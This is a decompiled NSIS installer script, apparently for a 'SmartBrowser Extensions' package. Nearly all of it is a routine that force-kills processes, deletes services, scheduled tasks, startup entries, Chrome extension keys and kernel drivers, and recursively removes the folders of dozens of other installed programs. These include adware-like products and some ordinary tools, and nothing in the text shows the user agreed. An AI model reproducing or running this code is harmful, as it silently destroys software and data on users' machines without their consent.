$PROGRAMFILES\ReactorKeeper 0 label_3955 RMDir /r /REBOOTOK $PROGRAMFILES\ReactorKeeper label_3955: IfFileExists $PROGRAMFILES\ThinkupWP 0 label_3963 DeleteRegKey HKLM "SYSTEM\ControlSet001\services\LiveUpdateWPP Manager" nsExec::Exec "cmd /k taskkill /IM $\"LiveUpdateWPP.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"LiveUpdateWPP.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES\ThinkupWP label_3963: IfFileExists $PROGRAMFILES\ThinkProtect 0 label_3980 nsExec::ExecToStack "schtasks /delete /tn $\"Web Protector Plus Server$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Web Protector Plus Server$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::ExecToStack "schtasks /delete /tn $\"Web Protector Plus$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"Web Protector Plus$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack nsExec::Exec "cmd /k taskkill /IM $\"WebProtectorPlus.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"WebProtectorPlus.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES\ThinkProtect label_3980: IfFileExists $PROGRAMFILES\QuickSurf* 0 label_4015 StrCpy $0 0 label_3982: EnumRegKey $1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall $0 StrCmp $1 "" label_4015 IntOp $0 $0 + 1 ClearErrors Push $1 Push QuickSurf Call :label_405 Pop $R3 IfErrors label_3982 IfFileExists $PROGRAMFILES\$1 0 label_3993 RMDir /r /REBOOTOK $PROGRAMFILES\$1 label_3993: ReadRegStr $2 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayVersion DeleteRegKey HKLM SYSTEM\ControlSet001\services\qssvc_$2 DeleteRegKey HKLM SYSTEM\ControlSet001\services\qsafd_vt_$2 Push $2 Push . Push _ Call func_179 Pop $3 System::Call kernel32::Wow64EnableWow64FsRedirection(i0) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i0) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\qsafd_vt_$3.sys 0 label_4008 Delete /REBOOTOK $SYSDIR\drivers\qsafd_vt_$3.sys label_4008: System::Call kernel32::Wow64EnableWow64FsRedirection(i1) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i1) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\qsafd_vt_$3.sys 0 label_4015 Delete /REBOOTOK $SYSDIR\drivers\qsafd_vt_$3.sys label_4015: IfFileExists $PROGRAMFILES\RapidReader* 0 label_4050 StrCpy $0 0 label_4017: EnumRegKey $1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall $0 StrCmp $1 "" label_4050 IntOp $0 $0 + 1 ClearErrors Push $1 Push RapidReader Call :label_405 Pop $R3 IfErrors label_4017 IfFileExists $PROGRAMFILES\$1 0 label_4028 RMDir /r /REBOOTOK $PROGRAMFILES\$1 label_4028: ReadRegStr $2 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayVersion DeleteRegKey HKLM SYSTEM\ControlSet001\services\rrsvc_$2 DeleteRegKey HKLM SYSTEM\ControlSet001\services\rrfd_vt_$2 Push $2 Push . Push _ Call func_179 Pop $3 System::Call kernel32::Wow64EnableWow64FsRedirection(i0) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i0) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\rrfd_vt_$3.sys 0 label_4043 Delete /REBOOTOK $SYSDIR\drivers\rrfd_vt_$3.sys label_4043: System::Call kernel32::Wow64EnableWow64FsRedirection(i1) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i1) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\rrfd_vt_$3.sys 0 label_4050 Delete /REBOOTOK $SYSDIR\drivers\rrfd_vt_$3.sys label_4050: IfFileExists $PROGRAMFILES\TermCoach* 0 label_4085 StrCpy $0 0 label_4052: EnumRegKey $1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall $0 StrCmp $1 "" label_4085 IntOp $0 $0 + 1 ClearErrors Push $1 Push TermCoach Call :label_405 Pop $R3 IfErrors label_4052 IfFileExists $PROGRAMFILES\$1 0 label_4063 RMDir /r /REBOOTOK $PROGRAMFILES\$1 label_4063: ReadRegStr $2 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayVersion DeleteRegKey HKLM SYSTEM\ControlSet001\services\tcsvc_$2 DeleteRegKey HKLM SYSTEM\ControlSet001\services\tcfd_vt_$2 Push $2 Push . Push _ Call func_179 Pop $3 System::Call kernel32::Wow64EnableWow64FsRedirection(i0) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i0) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\tcfd_vt_$3.sys 0 label_4078 Delete /REBOOTOK $SYSDIR\drivers\tcfd_vt_$3.sys label_4078: System::Call kernel32::Wow64EnableWow64FsRedirection(i1) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i1) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\tcfd_vt_$3.sys 0 label_4085 Delete /REBOOTOK $SYSDIR\drivers\tcfd_vt_$3.sys label_4085: IfFileExists "$PROGRAMFILES\Send to Kindle for Chrome" 0 label_4092 nsExec::Exec "cmd /k taskkill /IM $\"Send to Kindle for Chrome.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"Send to Kindle for Chrome.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$PROGRAMFILES\Send to Kindle for Chrome" label_4092: IfFileExists $PROGRAMFILES\IncludeFunc 0 label_4094 RMDir /r /REBOOTOK $PROGRAMFILES\IncludeFunc label_4094: IfFileExists "$PROGRAMFILES\Video Downloader professional" 0 label_4101 nsExec::Exec "cmd /k taskkill /IM $\"Video Downloader professional.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"Video Downloader professional.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$PROGRAMFILES\Video Downloader professional" label_4101: IfFileExists $PROGRAMFILES\SystemDefend 0 label_4103 RMDir /r /REBOOTOK $PROGRAMFILES\SystemDefend label_4103: IfFileExists $PROGRAMFILES\Stealthy 0 label_4110 nsExec::Exec "cmd /k taskkill /IM $\"Stealthy.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"Stealthy.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES\Stealthy label_4110: IfFileExists "$PROGRAMFILES\Fresh Outlook" 0 label_4112 RMDir /r /REBOOTOK "$PROGRAMFILES\Fresh Outlook" label_4112: IfFileExists $PROGRAMFILES\PhraseProfessor* 0 label_4147 StrCpy $0 0 label_4114: EnumRegKey $1 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall $0 StrCmp $1 "" label_4147 IntOp $0 $0 + 1 ClearErrors Push $1 Push PhraseProfessor Call :label_405 Pop $R3 IfErrors label_4114 IfFileExists $PROGRAMFILES\$1 0 label_4125 RMDir /r /REBOOTOK $PROGRAMFILES\$1 label_4125: ReadRegStr $2 HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$1 DisplayVersion DeleteRegKey HKLM SYSTEM\ControlSet001\services\ppsvc_$2 DeleteRegKey HKLM SYSTEM\ControlSet001\services\ppfd_vt_$2 Push $2 Push . Push _ Call func_179 Pop $3 System::Call kernel32::Wow64EnableWow64FsRedirection(i0) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i0) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\ppfd_vt_$3.sys 0 label_4140 Delete /REBOOTOK $SYSDIR\drivers\ppfd_vt_$3.sys label_4140: System::Call kernel32::Wow64EnableWow64FsRedirection(i1) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i1) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\ppfd_vt_$3.sys 0 label_4147 Delete /REBOOTOK $SYSDIR\drivers\ppfd_vt_$3.sys label_4147: IfFileExists "$PROGRAMFILES\Application Assistance\ap1.exe" 0 label_4156 nsExec::Exec "cmd /k taskkill /IM ap1.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM ap1.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run ap2 DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run ap1 RMDir /r /REBOOTOK "$PROGRAMFILES\Application Assistance" label_4156: IfFileExists $PROGRAMFILES\ReactorSubs 0 label_4158 RMDir /r /REBOOTOK $PROGRAMFILES\ReactorSubs label_4158: IfFileExists "$PROGRAMFILES\Functional Tester for Chrome" 0 label_4165 nsExec::Exec "cmd /k taskkill /IM $\"Functional Tester for Chrome.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"Functional Tester for Chrome.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$PROGRAMFILES\Functional Tester for Chrome" label_4165: IfFileExists $PROGRAMFILES\ProcessFoobar 0 label_4167 RMDir /r /REBOOTOK $PROGRAMFILES\ProcessFoobar label_4167: IfFileExists "$PROGRAMFILES\Hack this page" 0 label_4174 nsExec::Exec "cmd /k taskkill /IM $\"Hack this page.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"Hack this page.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$PROGRAMFILES\Hack this page" label_4174: IfFileExists $PROGRAMFILES\EoxstraCouppon 0 label_4181 nsExec::Exec "cmd /k taskkill /IM $\"EoxstraCouppon.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"EoxstraCouppon.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES\EoxstraCouppon label_4181: IfFileExists $PROGRAMFILES\ExsutraCouepoNN 0 label_4183 RMDir /r /REBOOTOK $PROGRAMFILES\ExsutraCouepoNN label_4183: IfFileExists $PROGRAMFILES64\shopperz* 0 label_4207 StrCpy $0 0 label_4185: EnumRegKey $1 HKLM Software $0 StrCmp $1 "" label_4207 IntOp $0 $0 + 1 ClearErrors Push $1 Push shopperz Call :label_405 Pop $R3 IfErrors label_4185 DeleteRegKey HKLM SYSTEM\ControlSet001\services\csrcc DeleteRegKey HKLM "SYSTEM\ControlSet001\services\$1 Updater" nsExec::Exec "cmd /k taskkill /IM csrcc.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM csrcc.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM prc.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM prc.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES64\$1 label_4207: IfFileExists $PROGRAMFILES\LighterSystem 0 label_4209 RMDir /r /REBOOTOK $PROGRAMFILES\LighterSystem label_4209: IfFileExists "$PROGRAMFILES\Proxy SwitchyOmega" 0 label_4216 nsExec::Exec "cmd /k taskkill /IM $\"Proxy SwitchyOmega.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"Proxy SwitchyOmega.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$PROGRAMFILES\Proxy SwitchyOmega" label_4216: IfFileExists $LOCALAPPDATA\WebExtend 0 label_4218 RMDir /r /REBOOTOK $LOCALAPPDATA\WebExtend label_4218: IfFileExists "$PROGRAMFILES64\Content Defender" 0 label_4241 nsExec::Exec "cmd /k taskkill /IM $\"ContentDefender.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"ContentDefender.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\ContentDefender DeleteRegKey HKLM SYSTEM\ControlSet001\services\contentdefenderdrv RMDir /r /REBOOTOK "$PROGRAMFILES64\Content Defender" System::Call kernel32::Wow64EnableWow64FsRedirection(i0) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i0) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\contentdefenderdrv.sys 0 label_4234 Delete /REBOOTOK $SYSDIR\drivers\contentdefenderdrv.sys label_4234: System::Call kernel32::Wow64EnableWow64FsRedirection(i1) ; Call Initialize_____Plugins ; File $PLUGINSDIR\System.dll ; SetDetailsPrint lastused ; Push kernel32::Wow64EnableWow64FsRedirection(i1) ; CallInstDLL $PLUGINSDIR\System.dll Call IfFileExists $SYSDIR\drivers\contentdefenderdrv.sys 0 label_4241 Delete /REBOOTOK $SYSDIR\drivers\contentdefenderdrv.sys label_4241: IfFileExists "$PROGRAMFILES\Sharp Angle" 0 label_4275 DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Util Sharp Angle" DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Sharp Angle" nsExec::Exec "cmd /k taskkill /IM $\"SharpAngle.BrowserAdapter.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"SharpAngle.BrowserAdapter.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM $\"SharpAngle.BrowserAdapter64.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"SharpAngle.BrowserAdapter64.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM $\"SharpAngle.expext.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"SharpAngle.expext.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM $\"SharpAngle.PurBrowse64.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"SharpAngle.PurBrowse64.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM $\"utilSharpAngle.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"utilSharpAngle.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec nsExec::Exec "cmd /k taskkill /IM $\"updateSharpAngle.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"updateSharpAngle.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK "$PROGRAMFILES\Sharp Angle" label_4275: IfFileExists $PROGRAMFILES\ospd_us_* 0 label_4289 StrCpy $0 "" FindFirst $0 $R1 $PROGRAMFILES\ospd_us_* label_4278: StrCmp $R1 "" label_4288 IfFileExists $PROGRAMFILES\$R1 0 label_4286 nsExec::Exec "cmd /k taskkill /IM $R1.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $R1.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES\$R1 label_4286: FindNext $0 $R1 Goto label_4278 label_4288: FindClose $0 label_4289: IfFileExists $LOCALAPPDATA\ospd_us_* 0 label_4303 StrCpy $0 "" FindFirst $0 $R1 $LOCALAPPDATA\ospd_us_* label_4292: StrCmp $R1 "" label_4302 IfFileExists $LOCALAPPDATA\$R1 0 label_4300 nsExec::Exec "cmd /k taskkill /IM $R1.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $R1.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $LOCALAPPDATA\$R1 label_4300: FindNext $0 $R1 Goto label_4292 label_4302: FindClose $0 label_4303: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\dnligehkhogpcngalffdoomehjcbecna $0 IfErrors label_4307 DeleteRegKey HKLM Software\Google\Chrome\Extensions\dnligehkhogpcngalffdoomehjcbecna label_4307: ClearErrors EnumRegKey $0 HKLM Software\Google\Chrome\Extensions\gehmndecgbcffhmfjkenpamdgechcgpe $0 IfErrors label_4311 DeleteRegKey HKLM Software\Google\Chrome\Extensions\gehmndecgbcffhmfjkenpamdgechcgpe label_4311: IfFileExists $LOCALAPPDATA\allskidkimos 0 label_4318 nsExec::Exec "cmd /k taskkill /IM $\"stub.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"stub.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $LOCALAPPDATA\allskidkimos label_4318: ClearErrors ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Service Mgr HighStairs" ImagePath IfErrors label_4332 Push $2 Push "" Push "" Push $\" Call :label_1606 Pop $2 Push $2 Call :label_1768 Pop $2 IfFileExists $2 0 label_4332 RMDir /r /REBOOTOK $2 label_4332: ClearErrors ReadRegStr $2 HKLM "SYSTEM\ControlSet001\services\Update Mgr HighStairs" ImagePath IfErrors label_4346 Push $2 Push "" Push "" Push $\" Call :label_1606 Pop $2 Push $2 Call :label_1768 Pop $2 IfFileExists $2 0 label_4346 RMDir /r /REBOOTOK $2 label_4346: IfFileExists "$PROGRAMFILES\High Stairs" 0 label_4350 DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Service Mgr HighStairs" DeleteRegKey HKLM "SYSTEM\ControlSet001\services\Update Mgr HighStairs" RMDir /r /REBOOTOK "$PROGRAMFILES\High Stairs" label_4350: IfFileExists $PROGRAMFILES\RapidMediaConverter 0 label_4357 nsExec::Exec "cmd /k taskkill /IM $\"RapidMediaConverterApp.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"RapidMediaConverterApp.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES\RapidMediaConverter label_4357: IfFileExists $SMSTARTUP\RapidMediaConverterApp.lnk 0 label_4359 Delete /REBOOTOK $SMSTARTUP\RapidMediaConverterApp.lnk label_4359: IfFileExists $PROGRAMFILES\MiniLite 0 label_4367 DeleteRegKey HKLM "SYSTEM\ControlSet001\services\IHProtect Service" nsExec::Exec "cmd /k taskkill /IM $\"ProtectService.exe$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"ProtectService.exe$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec RMDir /r /REBOOTOK $PROGRAMFILES\MiniLite label_4367: SetShellVarContext all IfFileExists "$DESKTOP\MPC Cleaner.lnk" 0 label_4370 Delete "$DESKTOP\MPC Cleaner.lnk" label_4370: IfFileExists "$DESKTOP\Ãîðÿ÷èå íîâîñòè.lnk" 0 label_4372 Delete "$DESKTOP\Ãîðÿ÷èå íîâîñòè.lnk" label_4372: IfFileExists $DESKTOP\DriverScanner.lnk 0 label_4374 Delete $DESKTOP\DriverScanner.lnk label_4374: IfFileExists $DESKTOP\SpeedUpMyPC.lnk 0 label_4376 Delete $DESKTOP\SpeedUpMyPC.lnk label_4376: IfFileExists $APPDATA\mspop.exe 0 label_4384 nsExec::Exec "cmd /k taskkill /IM mspop.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM mspop.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run msiql Delete /REBOOTOK $APPDATA\mspop.exe label_4384: IfFileExists $DESKTOP\Yeaplayer.lnk 0 label_4386 Delete $DESKTOP\Yeaplayer.lnk label_4386: IfFileExists $APPDATA\WindowsMsg 0 label_4400 nsExec::Exec "cmd /k taskkill /IM osmsg.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM osmsg.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run taskhost DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run osmsg nsExec::ExecToStack "schtasks /delete /tn $\"osTip$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"osTip$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $APPDATA\WindowsMsg label_4400: IfFileExists "$APPDATA\Windows Update\svrupg.exe" 0 label_4408 nsExec::Exec "cmd /k taskkill /IM svrupg.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM svrupg.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\GoogleChromeUpSvc RMDir /r /REBOOTOK "$APPDATA\Windows Update" label_4408: IfFileExists $DESKTOP\ÂÊîíòàêòå.lnk 0 label_4410 Delete $DESKTOP\ÂÊîíòàêòå.lnk label_4410: IfFileExists $DESKTOP\Îäíîêëàññíèêè.lnk 0 label_4412 Delete $DESKTOP\Îäíîêëàññíèêè.lnk label_4412: IfFileExists $APPDATA\HomePage.exe 0 label_4420 nsExec::Exec "cmd /k taskkill /IM HomePage.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM HomePage.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run LightGate Delete /REBOOTOK $APPDATA\HomePage.exe label_4420: IfFileExists $APPDATA\LightGate.exe 0 label_4428 nsExec::Exec "cmd /k taskkill /IM LightGate.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM LightGate.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKLM SOFTWARE\Microsoft\Windows\CurrentVersion\Run HomePageHelper Delete /REBOOTOK $APPDATA\LightGate.exe label_4428: IfFileExists $APPDATA\msiql.exe 0 label_4436 nsExec::Exec "cmd /k taskkill /IM msiql.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM msiql.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegValue HKCU SOFTWARE\Microsoft\Windows\CurrentVersion\Run msiql Delete /REBOOTOK $APPDATA\msiql.exe label_4436: IfFileExists $APPDATA\service.exe 0 label_4444 nsExec::Exec "cmd /k taskkill /IM service.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM service.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\GoogleChromeUpService Delete /REBOOTOK $APPDATA\service.exe label_4444: IfFileExists $APPDATA\Quotenamrons 0 label_4446 RMDir /r /REBOOTOK $APPDATA\Quotenamrons label_4446: IfFileExists $APPDATA\Quotenamron 0 label_4454 nsExec::Exec "cmd /k taskkill /IM Quotenamron.exe /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM Quotenamron.exe /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec DeleteRegKey HKLM SYSTEM\ControlSet001\services\Quotenamron RMDir /r /REBOOTOK $APPDATA\Quotenamron label_4454: IfFileExists $DESKTOP\SHAREit.lnk 0 label_4456 Delete $DESKTOP\SHAREit.lnk label_4456: IfFileExists "$DESKTOP\William Hill Casino.lnk" 0 label_4458 Delete "$DESKTOP\William Hill Casino.lnk" label_4458: IfFileExists $DESKTOP\ZaxarGameBrowser.lnk 0 label_4460 Delete $DESKTOP\ZaxarGameBrowser.lnk label_4460: IfFileExists $APPDATA\{5dd9654f-130b-71b5-5dd9-9654f130953c} 0 label_4467 nsExec::ExecToStack "schtasks /delete /tn $\"MyPiano$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "schtasks /delete /tn $\"MyPiano$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll ExecToStack RMDir /r /REBOOTOK $APPDATA\{5dd9654f-130b-71b5-5dd9-9654f130953c} label_4467: IfFileExists "$DESKTOP\Max Driver Updater.lnk" 0 label_4469 Delete "$DESKTOP\Max Driver Updater.lnk" label_4469: IfFileExists $APPDATA\*WinManPro* 0 label_4479 StrCpy $0 "" FindFirst $0 $R1 $APPDATA\*WinManPro* label_4472: StrCmp $R1 "" label_4478 IfFileExists $APPDATA\$R1\ProtectWindowsManager.exe 0 label_4476 Push $APPDATA\$R1 Call func_238 label_4476: FindNext $0 $R1 Goto label_4472 label_4478: FindClose $0 label_4479: IfFileExists $APPDATA\TomorrowGames 0 label_4481 RMDir /r /REBOOTOK $APPDATA\TomorrowGames label_4481: IfFileExists "$DESKTOP\Rapid Media Converter.lnk" 0 label_4483 Delete "$DESKTOP\Rapid Media Converter.lnk" label_4483: FunctionEnd Function func_4484 Exch $1 ; Push $1 ; Exch ; Pop $1 IfFileExists $1 0 label_4499 StrCpy $2 "" FindFirst $3 $2 $1\*.exe label_4490: StrCmp $2 "" label_4498 nsExec::Exec "cmd /k taskkill /IM $\"$2$\" /f" ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsExec.dll ; SetDetailsPrint lastused ; Push "cmd /k taskkill /IM $\"$2$\" /f" ; CallInstDLL $PLUGINSDIR\nsExec.dll Exec FindNext $3 $2 Goto label_4490 label_4498: FindClose $3 label_4499: FunctionEnd Function func_4500 ; Page 2, Pre SendMessage $_0_ ${WM_SETTEXT} 0 STR:$(LSTR_37) ; Installing SendMessage $_2_ ${WM_SETTEXT} 0 STR:$(LSTR_38) ; "Please wait while $(LSTR_56) is being installed." "SmartBrowser Extensions 4.5.8.7879" FunctionEnd Function func_4503 ; Page 2, Show FindWindow $_14_ "#32770" "" 